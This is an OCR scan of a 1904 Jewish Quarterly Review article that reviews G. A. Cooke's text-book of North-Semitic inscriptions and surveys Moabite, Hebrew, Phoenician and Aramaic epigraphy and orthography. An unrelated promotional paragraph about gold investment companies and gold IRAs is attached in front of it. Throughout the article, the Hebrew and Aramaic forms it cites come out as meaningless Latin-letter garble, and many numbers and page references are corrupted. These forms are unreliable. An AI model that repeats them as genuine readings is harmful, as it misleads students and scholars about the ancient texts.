function, your losses will certainly be less substantial if you have actually money invested in various other areas. Gold investment companies are created to make it easy for people to diversify their portfolio by buying gold, silver, platinum, or palladium coins and bars. Some also provide the possibility to buy cryptocurrencies now. A gold investment company can be an exceptional resource whether you simply want to grab a couple of gold coins or bars to hold in your house secure, want to pursue a big financial investment to be safeguarded in a vault, or want surrendering or establishing a new self-directed IRA, usually called a gold Individual Retirement Account.

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1904-01-01 10.2307/j100195 1 289 10.2307/j100195 258 1904 10.2307/1450755 jewiquarrevi North-Semitic Epigraphy 258-289 THE JEWISH QUARTERLY REVIEWNORTH-SEMITIC EPIGRAPHY1. THE study of North-Semitic epigraphy, especially in this country, has sorely stood in need of the stimulus which Mr. G. A. Cooke's excellent handbook is calculated to afford. The great Paris Corpus Inscriptionum Semiti- carum is costly, and the rate of publication is naturally slow; the Palmyrene inscriptions have not yet appeared, and although the other Aramaic and the Phoenician divisions are nearly completed, fresh inscriptions have been discovered which in not a few cases affect those which have already been edited, sometimes in the matter of inter- pretation, sometimes even as regards the readings. Professor Driver's notes in the Introduction to his Hebrew Text of Samuel were an admirable specimen of what was needed for younger students, but obviously they could not carry the beginner far. The present writer's Glossary of the Aramaic Inscriptions, as the title implies, was limited in its scope and barely covered one portion of the field, and it was left for Lidzbarski's fine Handbuch der Nordsemi- tischen Epigraphik to furnish the first general introduction to the inscriptions. The arrangement of the material, the complete bibliography, the comparative glossary of the Canaanite and Aramaic inscriptions, and the useful selec- tion of texts render his work indispensable for advanced study2, but, like the Corpus, it is scarcely the book to put I A Text-book of North-Semitic Inscriptions. By the Rev. G. A. Cooke, M.A. (Clarendon Press). 2 Needless to say, the Handbuch has been of the greatest assistance in these pages, particularly in the compilation of the material, pp. 272-7 below,258 xml-50 p-50 258 NORTH-SEMITIC EPIGRAPHYinto the hands of the beginner. A preliminary text-book was wanted, and Mr. Cooke, who originally intended to provide a manual for students who offer the subject of Semitic Epigraphy in the Honour School of Oriental Studies at Oxford, wisely decided to appeal to a larger field. Here we have about 150 inscriptions, transliterated into Hebrew, translated, and admirably annotated; care has been taken to incorporate the most recent researches, and the discrimina- tion which the author has shown in dealing with the copious material scattered throughout the various learned journals gives his work a lasting value. Primarily intended though it is for younger students, we have no doubt that Mr. Cooke's publication will, through the richness of its notes, be gladly welcomed by all Semitic scholars. The inscriptions under consideration belong to the "North- Semitic" division. The term is a convenient one, but is not to be understood in a geographical sense alone, since "North-Semitic" inscriptions are found in Arabia and Egypt, and "South-Semitic" have been discovered south of Damascus and in the region east of Jordan. The term is used partly in a palaeographic and partly in a linguistic sense. The " South-Semitic " scripts, in which are written the inscriptions of the Minaeans and the Sabaeans, of Lihyan, Thamud and Safa, separated at an early, though unknown, date from that ancestral alphabet, the parent of the North-Semitic and European forms, and are characterized by distinctive forms and by greater precision in the reproduction of the finer shades of utterance. As a linguistic term, "South-Semitic" includes Arabic and Ethiopic, and stands opposed to the " North-Semitic" which, with Wright, may be divided into three groups: Eastern (Assyrian and Babylonian), Central (Aramaean), and Western (Canaanite) . Since Assyrian and Baby- 1 Other groups have been suggested, but Wright's has istinct advantages and is eminently preferable to that which Mr. Cooke himself adopts (p. xvii and n. i), apparently through a misunderstanding of Wright's words (Comp. Gr., p. I2). S 2259 xml-51 p-51 259 THE JEWISH QUARTERLY REVIEWlonian stand apart, it is the Canaanite and Aramaean inscriptions which come under consideration, and a brief survey of the material and characteristics of these two branches will afford some idea of what is meant by these rather conventional designations1. Of the Canaanite inscriptions by far the most important is the Moabite stone dating from the middle of the ninth century B.C. (No. 1) 2. Entering, as it does, into Hebrew his- tory it is the most interesting record yet discovered, and the literary ability with which it is marked is evident proof that the Moabites were well acquainted with the art of writing3. With the exception of a couple of seals, which bear names compounded with the god Chemosh, no other Mloabite remains have as yet come to light. As regards Hebrew inscriptions, too, the material at present is lamentably scanty. The only one of any length is a six- lined text from the tunnel connecting the Pool of Siloam and the Virgin's Spring in Jerusalem (No. 2). A number of small specimens of Hebrew writing have been found in the shape of seals and pottery-marks, jar-stamps, &c., and are chiefly of value for Hebrew onomatology and palaeo- graphy4. 1 It will be recalled that the Hebrew square character has developed out of the Aramaic, from which source, also, are derived the Arabic forms. It is singular to find during the early centuries of the Christian era some Arabian tribes using an Aramaic script, others a South-Semitic, a descen- dant of the older Minaean and Sabaean; in the former the definite article in compound proper names is N as in Arabic, in the latter n ! See below, p. 271. 2 The figures in heavy type refer to their position in Cooke's Text-book. 3 It is a little astonishing that the belief has not yet died out that the stone after all may be a forgery. If this were so, it would be remarkable that rnms (?rnm , niYS, 11. 9, 23), evidently a pit or reservoir, has only recently been recovered (Ecclus. 1. 3, see Cooke, p. 9). On p. xx. n. 2, nw[?nc] should be read nvro. It is possibly the Mampsio (MatlbL) of the Onomastica (Lagarde, 85, 3; 2io, 86), on the road from Elath to Hebron, one day's journey from Thamara (Hommel, Exposi- tory Times, xii. p. 288 [I9OI]). In the same note too, for ?* 'Na read * -- 1Ds, the dot or rather stroke (so in the original) appears to be a word-divider.260 xml-52 p-52 260 NORTH-SEMITIC EPIGRAPHYThe vast majority of the Canaanite inscriptions are Phoenician, and with few exceptions have been found outside the mother country. They proceed from a definite and distinct branch of the Semites which, ever restless and energetic, pushed its colonies along the coasts of the Mediterranean, possibly as far as Spain itself. The oldest inscription of any length from Phoenicia proper is that of Yehaw-melek, king of Gebal (Byblus), of the fifth or fourth century B. . (No. 3). Somewhat later are the Sidonian inscriptions of the dynasty of Eshmunazar (Nos. 4 sq., Appendix, pp. 401-3), whilst a few from Tyre, Umm el-'Aw&mid and Ma'safb extend to the third and second (Nos. 8-10). Of greater antiquity, however, are the Baal-Lebanon, and the Hassan-bey-li1 inscriptions, the former found at Cyprus, belonging to the time of Hiram (II) 2, the latter from N. Syria, west of Zenjirli, seems to be of about the same period. Cyprus has furnished a number of other interesting inscriptions (cp. Nos. 12-30) from the fourth century downwards, and some of these, written in Phoenician and Cypriote, were of great assistance in the decipherment of the latter character. The Phoenician inscriptions from Egypt (No. 31) have not been so numerous or important as the Aramaic. Phoenician colonies in Greece (Athens, Piraeus, Nos. 32 sq.) have provided richer material, ranging from the fourth or third century to the first (96 B. c.). Malta and Sardinia have furnished a few distinctive finds chiefly of the second century, although two remarkable examples (Nos. 37, 41) on palaeographic grounds may even be four centuries older. From France come two tablets, probably of the fourth century B. c., one found at Avignon, the other, an extremely 1 Edited by Winckler, Altorientalische Forschungen, I, pp. 305-9. 2 No. 11; Mr. Cooke agrees with von Landau that Hiram II, mentioned by Tiglath-Pileser III (738 B.C.), and not the contemporary of David and Solomon, is meant. This is also the view of Ed. Meyer (Encyc. Bib., col, 3753, n. 2), and is probably correct. Hence the famous bowl can no longer be cited as a specimen of the Phoenician character of the eleventh or tenth century.26I xml-53 p-53 261 THE JEWISH QUARTERLY REVIEWimportant sacrificial tablet, at Marseilles (No. 42). That these were actually inscribed in France by Phoenician merchants or colonists is far from certain. Carthage, and the northern coast of Africa (Tunis, Tripoli, Algeria) have furnished hundreds of remains, none, however, older than the fourth or third century, whilst the latest (the Neo- Punic) belong to the earliest Christian times. Extending as they do over so many centuries, these inscriptions display numerous examples of modification. Not only does the script undergo remarkable change, but the orthography and the language does not remain fixed. Traces of separate dialects are found in the Byblus inscrip- tion, and in those from Hassan-bey-li, Larnax Lapethos, and Sardinia . Foreign influence shows itself partly in the bilinguals, in the use of Greek, Cypriote, Latin, and Berber, and now and again in the general style of the inscription. A notable example of the latter feature appears in No. 33, from Piraeus. As is frequently the case in the Aramaic inscriptions, the evidence of the proper names often sug- gests that the writers were foreigners, cp. Cleon (No. 40), and see e.g. No. 52, where the names appear to be Numidian. As regards the general characteristics of the Canaanite inscriptions reference may be made to Mr. Cooke's remarks, pp. xix, 23 and passim. For the Hebrew student their grammatical and orthographical features are of the greatest interest, and on the assumption that no one knows any- thing of Hebrew who only Hebrew knows, the bearing of the inscriptions upon the study of Old Testament language and writing can scarcely be overestimated. Among the peculiarities of Phoenician may be noticed the use of p "to be," never rnn, and the construction V:r pt; both the verb and the construction are reminiscent of Arabic, but naturally are not to be taken as evidence that Phoenician and Arabic were more closely related than Hebrew and 1 See Cooke, p. 25 and note in No. 29 aN for a, and in Nos. 39-41 the comparative frequency with which tv is used.262 xml-54 p-54 262 NORTH-SEMITIC EPIGRAPHYArabic. Similarly, the Phoenician naliy "portico" and ryO a kind of sacrifice, admit of an explanation from Arabic and Ethiopic respectively, and find their chief value in the circumstance that they serve to indicate that the common Canaanite language must have been considerably more extensive than the vocabulary of the Old Testament by itself would suggest. Phoenician, it may be mentioned, carefully distinguishes between mni "month" and wi*n " moon "; in Hebrew, on the other hand, they are confused. It is rather singular, also, that the Hebrew prepositions ny and tn have not as yet been found in Phoenician . The construction nit non,r (never nirn nnln) is character- istic of Phoenician and Moabite as distinguished from Hebrew, where, however, it is not quite unknown2. The spelling nNt in the Moabite stone (1. 3) agrees with the Hebrew, but in Phoenician the corresponding form nt does not appear until the period of the latest (the Neo-Punic) inscriptions. On the other hand, it regularly employs t for both genders3, although no doubt they were distinguished in pronunciation 4. 1 The Phoen. r1 may correspond to the former (see p. 283, n. 3 below), but whether (1)2 answers to In is not certain (Cooke, pp. 33,35). As regards the latter, at all events in 9 3 (i'] 5 a5t) the use of a may find a parallel in the Poenulus of Plautus; anno byn mytthymballe bechaedre anec (Hannonen esse ait Carthagine, Carthaginensis Muthumballis filium) appears to represent: -p[ [nuinn]mpipa :amn :a wNn. 2 See the passages cited by Driver on i Sam. xix. 1o. 3 Only in the Byblus inscription does the fer. ,l occur, and it might be suggested that nmN is a double feminine, and that ni and ii are earlier forms. nm, however, is not confined to the feminine (p. 26), but as CIS i. 149, 1. 3 sq. and other passages show, could be used for the masculine (cp. Lidzbarski, Ephemeris, I, p. 44). The addition of n finds parallels in the Phoen. nnr, the Sabaean nirr, fern. n',n, and in Ethiopic (Wright, p. I05). It is therefore possible that the n of the Hebrew n,l has a similar origin, and has nothing to do with the feminine termination. The form in the Poenulus of Plautus (syth) points to an older zoth, analogous to chyl = b.S. The evidence of Plautus is naturally to be used with caution, but these interesting old fragments are important enough to have deserved some notice in Mr. Cooke's Introduction. 4 Wright (p. io8) conjectures z6 and zs. The Hebrew 6, it should be men- tioned, has passed over into u in such spellings as the Punicsalus (three), rufe263 xml-55 p-55 263 THE JEWISH QUARTERLY REVIEWMoabite is characterized by the occurrence of a conjuga- tion which is elsewhere found only in Assyrian and Arabic (bnnnS "to wage war"), the plural and dual ends in i- as occasionally in Hebrew', whilst the Phoenician regularly has D-. The language on the whole differs only dialectic- ally from Hebrew, and although a few features associate it with Phoenician, these are outweighed by such usages as the Hiphil as opposed to the Iphil (see below) and by characteristic idioms and terms (see Cooke, p. 5). As regards the orthography, too, Moabite is more closely related to Hebrew than to Phoenician, and in view of the question of the orthography of the earliest MSS. of the Old Testament, the subject is one of some interest. In the first place let us observe that both the Moabite stone and the only Hebrew inscription of length separate the words by means of a point2. In Phoenician, however, the inscrip- tions so marked are not the oldest, nor are they found in Phoenicia itself, but in Greece, Cyprus, and the west3. The Massoretic text contains indubitable instances of the incorrect division of words 4, but these may be due to the fact that the earliest MSS. were written in a script where these convenient guides were not in use. It is to be noticed that neither points nor any similar contrivances are used in Egyptian Aramaic (the words, however, are sometimes separated by spaces), nor do we meet with final letters before the period of the Nabataean inscriptions (middle of the first cent. B.c. and onwards). In the next place, as regards the use of 1, 4, X and n, it is important to notice the leading features of the inscrip- tions. In the Siloam inscription, it is true, final n is (physician), alonuth (goddesses), rus (head), and notably suffet (Lt5t). Note, on the other hand, dAAaR&v = i:~.. Hence, the Old Testament examples are not necessarily Aramaisms. 2 Similarly the Aramaic inscriptions of Zenjirli, but not the contiguous Phoenician inscriptions from Hassan-bey-li, or the Baal-Lebanon bowl. In the oldest Arabian inscriptions the words are divided by a line. 3 Lidzbarski, Handbuch, p. 202. I For examples, cp. Driver, Samuel, pp. xxx sqq.264 xml-56 p-56 264 NORTH-SEMITIC EPIGRAPHYrepresented in ,mp: (boring), r*tn (to be), nr (this), &c., but against this we have rn,, which is presumably nrn rather than n~n. (p. i6 sq.). Final < and i appear in t, and iz5r in conformity with Moabite as opposed to Phoenician. Ordinary long i and o are not represented (e.g. Dn1h, nb_ &c.), and the spellings "lm and win suggest that these retained the older pronunciation 1t_Y and s1?P. On the other hand, in the two exceptions ip and ml, the vowel, whatever its origin (5~1, t:?), was probably heard as o. The question, however, remains uncertain. Noteworthy also are the spellings vwln, tnmn in the Siloam inscrip- tion, compared with the Moabite tnrD and ,?m on the one hand, and wh (head), and ni (? gazing-stock V/s1X) on the other. Obviously a, at least, was never written unless it retained some consonantal force. There are certain spellings in the Moabite stone which deserve consideration. The ordinary long o and Z are not marked (nt, i.5t), hence pn' is probably .^l rather than i'?, and in the names pln, n1un, 1 is probably diphthongal. Comparing nntV (1. 25) with n:m (1. 7), nn,y (1. 22) with ,nv (1. 8), it is open to suppose that the vowel is e, and, if this be so, we must pronounce the Phoenician duals -nKn, nv, with em (cp. Heb. Dtl,) and treat the Moabite tn,r as a plene spelling. If, however, we may conjecture that even a diphthong could be omitted, we may point to the North- Arabian inscriptions from Safa, where such spellings as iD (aus, also DIK), :p (unaif) and tp,ryw (Nabataean n1p~yass) recur'. Another difficult letter in the Moabite stone is the final n (nmnp, 1. 3; Rn1, 1. 12; rnS, 1. 15). It is not the feminine, since this is regularly n-. Wright (p. 139) sug- I It may be added that in Tp.;n 2pa IN 121 (1. 24), Mr. Cooke understands 7, (Gen. xlvii. I3), but w (]'.) is possible on the analogy of 2 Kings xix. 3. The verbal form ,:*3n (1. 4) is curious enough to have deserved remark. Was it pronounced nt~.n or 'nt3n ? The name Hoshea is always written srwn on Hebrew seals, but whereas the king is called a-u-si-' in an inscrip- tion of Tiglath-Pileser III, in a bilingual Aramaic docket (c. 68o B. c.), rwtn is represented by u-si-'.265 xml-57 p-57 265 THE JEWISH QUARTERLY REVIEWgests, in the case of nnmp, that it represents an ending d'u; this, perhaps, does not suit noi', perhaps originally 4'5 (cp. Syr. -), but that n has some consonantal force, at all events, appears tolerably certain. The Moabite use of the final 1 and 1 as a vowel letter (cp. Siloam, :, 1:5n) is contrary to Phoenician. 'n "for" is regularly 3, and it is not until the period of the Neo- Punic inscriptions that the vowel is indicated 1. The plural construct in ' (:D5, s3S 1 13, 23) is not marked in old Phoenician, only Punic and Neo-Punic use K- or y-2. The plural 0t-, too, is only found in Neo-Punic. With the Moabite ,:ywn (1. 4 " he saved me ") contrast the Phoenician nSyv (" she made me"), with mn, tmr (11. 18, 2i, "he, I built") contrast I, n:: 3. The Ist sing. suffix of the noun, however, is regularly represented in both. As regards the evidence of Hebrew seals, pottery stamps, &c., the following details may be noticed: 'a=N (Massoretic Text 45,~,), ,n-'lV , Cni (never '/N), W'ym '; nD' (Clermont- Ganneau, No. 44), otherwise always '5K (rytKSi, y'R, &c.); ,1innt &c. (only once n' in n,::n [2], Levy 3= Vogiu 36); the plene ryin seems to be exceptional. plnn is written defectively on the pottery stamps from the Shephelah; on the other hand cp. 't and n;w, where, however, the LXX Cielt (but also 6C) and the modern name esh-Shuweikeh may suggest that the spellings Ziph and Soc6h are not original 4. It is perhaps sufficient to have recorded some of the more imnportant orthographical peculiarities of the Canaanite 1 Viz. N:, r;, g3. On the use of the gutturals, see Cooke, p. 140. Note in Phoen. .. "they built," mr8 "they sacrifice," n " fruit," ? ' "above," ^.jtj "eight," iv "field." 2 The only exceptions in Aramaic are old: nrm (62 2, but 'rTS, 1. )2), ;Nn (65 6) 3 Hence the Moabite ]:a does not stand for ,'n (in Phoenician, only in graffiti from Egypt). Plene spellings in old Aramaic inscriptions are found certainly in nItu (63 9), obr,en%n (ibid., 1. 3), whether in n, n,n,n;, mn':, D',, neip (Lidz., Ephem., I, 82) is doubtful. For the evidence from the later Nabataean and Palmyrene inscriptions (e.g. wvi, -imni, &c.), see below, 276, n. i.266 xml-58 p-58 266 NORTH-SEMITIC EPIGRAPHYinscriptions, obviously a complete discussion of them in connexion with the Massoretic Text would be out of place', It has already been observed that Moabite agrees with Hebrew in the use of the Hiphil ('wnri &c.). In Phoenician the n is replaced by ( (vtiN, =m', &c.), and it is only in Neo- Punic that we find the form 'yln2. The view that > is a spiritus lenis, a weakening of the older n (p. 58), is difficult on account of the later Neo-Punic form just cited, and it would seem preferable to allow the I to retain its consonantal force, and to pronounce yikdzs (or yakdis), rather than i.kds. One other point which calls for notice is the form of the suffix of the third sing. masc.: Moabite n, Phoen. 4-, later m-, and Neo-Punic m-. n- seems to appear also in the Hassan-bey-]i inscription, but only in that of Yehaw-melek of Byblus do we meet with 1- (also verbal, lnn 1. 9), fem. n- (p. 25). Mr. Cooke has strong support when he explains <- as a contraction of an original -ahi (p. 42), the Moabite n- from -ahu = -au =- (p. 8), and the plural suffix in 'n1L "his words," from [1]"!V or "IhT (p. 104, cp. rn5ntn, Ps. cxvi. 12). It seems better to derive all three from -ihu (-ihi 3), comparing the Hebrew .l=n., nili (dual or plur. -n"1-, .'T, inn ). If so, the Moabite and Phoenician forms should be pro- nounced 1i?K, ..P, and .... The not unfrequent examples of the masc. n- in the Old Testament may also be similarly viewed: nif. and nhrii (Gen. xlix. II) should be ' .'l. and ?nioD, and the Massoretic punctuation, under these circum- stances, must date from a time when the older use had been forgotten. It is important to notice that in&wab (Judg. xix. 24) contrasted with iw^b (ver. 25) shows that both forms could be used side by side 4. 1 We may, however, note the confusion of , and D in Judg. xvi. 25; Ezek. vii. 9 (i'~'1, see verse 4); Ps. Ixix. 17, cix. 2I (alm ':). 2 The late proper names 55rn, opm, may be Iphil participles (Lidzb.). 3 This, the genitive form, appears to underlie the Aramaic -eh (Wright, p. 155), which is quoted by Cooke on p. 42 in support of the original form -ahi. 4 Cp. ~inw, iwa, Gen., 1.c. See, further, Proceedings of Soc. of Bibl.267 xml-59 p-59 267 THE JEWISH QUARTERLY REVIEWTurning next to the Aramaic inscriptions we may observe that they are not, like the Phoenician, the work of a distinct branch of the Semites, nor do they admit of being classified with such precision as was the case with the Canaanite. Apart from Syriac proper, the language spoken around Edessa, a literary language, the Aramaic dialects fall into a number of divisions whose earlier history is clouded in obscurity. It is sufficient here to mention Jewish Aramaic, the dialect of the Targums, the later Christian-Palestinian (or Palestinian-Syriac) 1, the Aramaic of the Babylonian Talmud, the Mandaean, and to these we must add the dialects of the Aramaic portions of Ezra and Daniel, and of the inscriptions. It is known from Isa. xxxvi. i , 2 Kings xviii. 26, that Aramaic was used in diplomatic intercourse between Assyrians and Israelites in the time of Hezekiah; the inscriptions will show us that these were by no means the only people who found the language more serviceable than their own. The oldest remains are those from Zenjirli in North Syria (Nos. 61-63), and date from the eighth century. Although written in a script, closely resembling that of the Moabite stone, it is important to observe that a very gradual modification can be observed in the shapes of certain letters (t, :, I, p, see Plate XIII), a clear indica- tion of the early development of the Aramaic alphabet2. Archaeology, 1903, p. 39 sq., on the forms nt, rntw in the Nash papyrus (cp. J.'Q. R., I902, p. 395, 11. 9, Ir). The curious i,ip,l (ibid., 1. I6), it may be added, seems to find support in the Phoen. 3 4i, (r~a,) "may he (they) bless him." If so, we must pronounce '.rip'1i, the 'is a consonant, and not a plene spelling as in vrk (Job xxi. 23). That the , in the Phoen. w-s:y retained some guttural force seems to follow from its being used with the imperf. plu. (above). 1 On its geographical distribution ('Abid, between Judaea and Samaria in the seventh, and Antioch in the eleventh century), see Burkitt, Journ. Theol. Stud., II (190o), p. I81. 2 To these inscriptions we must now add that of Kalammu son of Iayan (Sanda, " Die Aramaer," Der alte Orient, IV, Heft 3, pp. I2, 26), which is said to belong to the time of Shalmaneser II (859-825 B. c.). This inscrip- tion, which appears to explain an obscure phrase in No. 63 I7, has not yet been edited.268 xml-60 p-60 268 NORTH-SEMITIC EPIGRAPHYFrom Nerab, in the neighbourhood of Aleppo, come two small but extremely interesting inscriptions, probably of the seventh or sixth century (Nos. 64, 65). The finds from Assyria and Babylonia are numerous. A few bronze lion-weights (No. 66) have Assyrian inscrip- tions, and since they bear the names of the kings Shal maneser, Sargon or Sennacherib, admit of being dated with tolerable certainty. Somewhat later are a number of contract-tablets, most of which are Assyrian with Aramaic legends; those from Assyria belong chiefly to the seventh century, the Babylonian to the sixth and fifth. Passing over seals, bowls, &c., we need only mention a bilingual from Telloh of the third'or second century in Aramaic and Greek (nNrr1in?, aSaSvaStvaXls)1. From Limyra comes another bilingual in Greek and Aramaic of the fifth or fourth century, and elsewhere in Asia Minor a few scattered inscriptions have been found, one of the most interesting being from Saraidin in Cilicia (No. 68), where a young huntsman places on record the fact that he was making a meal there. The recently published inscriptions from Cappadocia should also be mentioned2, if only in the hope that scholars acquainted with Persian may turn their attention to them. Aramaic would appear to have been frequently used in Egypt during the Persian period. A stone inscription, dated in the fourth year of Xerxes (482 B.C., No. 71), is of particular importance on this account for the history of Aramaic palaeography, and to this we may now add a papyrus, recently edited by Euting, of the fourteenth year of Darius (II. Nothus, i. e. 4II-41O B.C.). Among the other finds of Egyptian origin are to be mentioned the ostraka from Elephantine, and the Oxford papyrus which Mr. Cooke was able to insert in his Appendix (pp. 404-6)--an in- teresting illustration of the progress of Semitic epigraphy. 1 One recalls the Greek-Babylonian fragments edited by Pinches, in the PSBA, I902, pp. o08-I9, perhaps of the second century. 2 Lidzbarski, Ephemerisfiur semitische Epigraphik, I, pp. 59-742 319-26.269 xml-61 p-61 269 THE JEWISH QUARTERLY REVIEWTSma, in Egypt, furnishes one old Aramaic inscription of the sixth or fifth century (No. 69), and a few others of descending date, among them one of particular interest for its close palaeographic resemblance to the bilingual from Telloh (No. 70). From Hlejra come a number of small legends extending down to the second century B. C., chiefly noteworthy for the steady modification of the script to the form assumed upon the Nabataean inscriptions. The last-mentioned constitute a distinct palaeographic class, and to judge from the proper names were largely due to Arab-speaking tribes. A few have even been found in Italy (Puteoli, Rome)1 -the work of travelling merchants-one at Sidon, and one as far north as DomAr (No. 97), but by far the greater number were found in the HIaur&n, and in the district of Hejra. Those from IHejra are grave-inscriptions, and form one of the most important contributions to our knowledge of Aramaic. In addition to this, they are tolerably connected pieces of writing, and those who desire to obtain a grounding in Aramaic epigraphy will find these inscriptions the simplest to commence with. A small group of inscriptions have been found also at Petra, two of which are of considerable importance (Nos. 95 sq.). Palmyra, the ancient Tadmor, has provided a great number of inscriptions, quite distinct from the Nabataean, as regards palaeography, the general character of the con- tents, and, to some extent at least, the language. These, too, are chiefly due to Arabs, although apart from the proper names the Arabisms are not so pronounced as in the Nabataean. Many of these, notably the Tariff of Palmyra (No. 147), are bilingual (Palmyrene and Greek). Finally, as a palaeographic subdivision of the Nabataean, we must include the inscriptions from the Sinaitic Peninsula, con- sisting of hundreds of rude graffiti scratched upon the rocks by traders. Mr. Cooke's selection (Nos. 103-109) contains 1 No. 102 and CIS ii. 157. The latter a bilingual in Latin and Nab. was erected by Abdaretas (nnrmm1) of Petra270 xml-62 p-62 270 NORTH-SEMITIC EPIGRAPHYthe more interesting examples, and illustrates the extent to which Aramaic enters into them. With rare exceptions the names are entirely Arabic, but the phrases (" blessed," "hail," "son," &c.) are Aramaic, and one meets with such noteworthy combinations as "Hail (6)! Garm-al-ba'li, son (n:) of Ibn-Alkaini; good luck (:nL) ." The article ~K, as in the names just cited, agrees with the Arabic, whilst it is rather remarkable that in the inscriptions from Safa, written in a North-Arabian script, it is regularly n2. A few graffiti of the same character as the Sinaitic were recently discovered in Egypt in the W&dy Gadammeh, NE. of Keneh 3. The extensive use of Aramaic by people other than Aramaeans is reflected in the language of the inscriptions. From the evidence of the proper names alone we are able to recognize the presence of Assyria and Babylonia, Persia, Egypt, Arabia, Greece and Rome. Assyrian influence appears notably in the Zenjirli inscriptions, and in the lion-weights and contracts; it has even been suspected in the old inscription from Tema 4. Persian seems to appear upon seals in such names as nwl, n n, n IN, In~nD, in such words as m'nno[N] " sepulchre," in the Palmyrene ND3vn, and especially in the Cappadocian inscriptions referred to above. In Egyptian-Aramaic, in addition to Persian, Egyptian words are taken over ('snn, ,nononr, m and fem. r:nrn), and to the presence of Jews we probably owe such Hebraisms as VK " man" and nps " take." Arabisms appear notably in the Nabataean inscriptions, viz. the CIS ii. 787, cp. No. 104. a Thus the Nab. mlp,5 t appears in Safa as p;riw 140 B. 4; see Lidzbarski, Ephemeris, II, p. 36 sq. 3 To be published in an early number of the Proceedings of the Society of Biblical Archaeology. 4e.g. Tiglath-pileser "lord of the four parts of the earth" (62 I4, 63 4); rn ;,rn or 150 n -=mana fa larri (66), =D--sinibu "half" (CIS ii. No. 7, but t-in in No. 10); nn = dannitu (ibid., 17 sqq.) "document"; see also Cooke on 69, 11. 13 and i8 (where nli, second line, is a misprint).27I xml-63 p-63 271 THE JEWISH QUARTERLY REVIEWconstruction ?1ts ~ for pr N in, the precative perfect, the use of trM "curse," rni, 1w, &c. (see note on No. 80 6), and the conjunction D (found, however, in the Zenjirli inscriptions). Technical Greek and Latin terms predominate in Palmyrene (p. 264 sq.). Considering the history of these Aramaic inscriptions it is not surprising that they reveal numerous traces of dialectical variation. Mr. Cooke's helpful notes (especially pp. 184 sq., 264 sq.) will give the reader some idea of their characteristics. The following supplementary remarks may, however, be added. In the oldest series, the Zenjirli inscriptions, it is important to distinguish between the latest, that of Bar-Rekub (No. 63), and the earliest, that of Hadad (No. 61). The former is essentially Aramaic and tolerably straightforward, the latter is most marked by non-Aramaic elements and is extremely obscure: the Panammu stone (No. 62) comes midway as regards intelli- gibility and philological phenomena. Whether the pecu- liarities are due to the mixture of dialects or to the gradual introduction and growth of Aramaic may be left an open question, at the least the endeavour must be made to avoid confusing features which are regular in Old Aramaic with those which are confined to one or more of these inscrip- tions alone. Of the forms and usages characteristic of Aramaic, as cited by Mr. Cooke, rn: "I," bo<n "throne 1," pinn: " great" (plur.), and the emphatic form are found only in No. 63. The best examples with Canaanite analogies are to be found in No. 61 (pm " I," in3, nt, ppn, wnn, and the infinitive without prefixed )), to a less degree in No. 62 (e. g. '3K " I "), and scarcely once in No. 63. The Canaanite :3 and np5 occur in Nos. 61, 62, the Aramaic in "one" and ~i " son " in all three 2. It is a characteristic feature Also Phoenician, No. 15 2. 2 It may be noticed as an instance of the facility with which foreign words may be adopted that the Aramaic na is used even in the pre- Mohammedan Arabic inscription found by Dussaud at en-Nemara (cp. Lidz., Ephem., II, 35).272 xml-64 p-64 272 NORTH-SEMITIC EPIGRAPHYof No. 61 that the mase. plural ends in -1, and that this is merely a case of apocope of j- seems to be rendered doubtful by the fact that the fuller plural is 1- and never t_ 2. It is equally characteristic that the fer. plur. in n-3 appears only in No. 62, and that cohortative ~ is prefixed to the imperfect in No. 61. The forms in 1-, which are more frequent in No. 61 than in No. 62, are obscure; they are possibly abstract nouns since the suffix 3rd sing. masc. is regularly n- (but note nm:srl, n,l and even n=K). The consonantal equations are not entirely peculiar to this group. p for y (= Heb. e) is best known from the form KpN' "'earth" (Jer. x. I ) which is found in inscriptions of the sixth century and later 4; but even in No. 61 30 we find %: (? i. q. V3 Dan. iv. I6), where this law would have led us to expect ip. X for the normal O appears only in No. 63 19 (X28) and one of the Nerab inscriptions (No. 64 iz). t for n soon seems to have died out: in the inscription from Cilicia (fifth or fourth century), in the Tema inscription, and in Egyptian-Aramaic the forms ons " place," Xn O "seat," and non "there," are in agreement with the ordinary Aramaic usage. On the other hand, t for ' was tenaciously retained (p. I85, note I) down to the coins of Mazdai (fourth century)5 and the Cappadocian inscriptions already referred to. 1 But ,nr5, 4 p No. 62 23, and v:ar (constr. state?) ibid., 1. 3. The latter finds an analogy in Sabaean usage. 2 ,-, however, in lion-weights (pnn, also rp), and later in Nab. and Palm. inscriptions. 3 The reading nmrp in No. 61 io is not quite certain. The occurrence of the form in the Cappadocian inscriptions (Lidzbarski, Ephemeris, I, p. 323, 1. 3), shows that it was in use two or three (or more) centuries later. That the byoopica of Berossos stands for awp:D'? (Gunkel, Zimmern) is not generally accepted; see King, Seven Tablets of Creation, I, p. xlvi note. To illustrate the equation, mention may be made of Halevy's ingenious suggestion that the form of the p was originally derived from the circle g by the addition of a stroke, but see Lidzbarski's criticisms, op. cit., p. 264. 5The early exceptions ,niwTno (CIS ii. 87), nnir; and lana (No. 150 2, 3) are doubtful. VOL. XVI. T273 xml-65 p-65 273 THE JEWISH QUARTERLY REVIEWThe close relation between the inscriptions and the Ara- maic portions of Ezra (fourth century ?) and Daniel (early second) is of considerable importance. Apart from the more frequent use of the construct state, there are several linguistic features of interest which call for remark. The use of n where the later Aramaic uses N is noticeable in such words as ,mK "I," ln "if," and especially in the causative and re- flexive conjugations. As regards the causative forms, the older inscriptions (including Eg.-Aram.) regularly use -n, Nabataean (with the exception of w'pn, No. 97 col. i) and Palmyrene equally regularly -K; in Biblical Aramaic -n pre- ponderates. For the reflexive forms, No. 63 14 presents -n, No. 65 4 (probably) -x, and the latter is usual in Egyptian- Aramaic, Palmyrene and apparently Nabataean; in Biblical Aramaic, the forms with M occur only in Daniel. Older forms are preserved in nrn (Nab.), ,nSiK Dan. ii. 46 (cp. 'KN No. 69 14), mnm Ezr. iv. I6, i?nn (? No. 75 2); sus- pected Hebraisms prove to belong to the genuine Aramaic stock 1, and in two cases an incorrect division of words can be remedied 2. The difficult use of n,i in Ezr. v. i6 finds support in No. 102 6, and the papyrus of Darius II (p. 269 above) not only mentions among officials the Kt'" (Ezr. iv. 9) and a,nan (Dan. iii. 2), but contains the interesting phrase .l3yn1 . (cp. Dan. ii. 5, 8). To supplement the remarks upon the Palmyrene inscrip- tions (p. 264 sq.), it may be observed that the dialect in several respects is younger than Nabataean (not to mention Egyptian-Aramaic, &c.). In one or two instances it agrees with the Aramaic of Daniel whilst the Nabataean finds analogies in Ezra. The best example is the suffix of the 3rd plur. masc. which in Ezra, Nabataean and older Aramaic is ni- 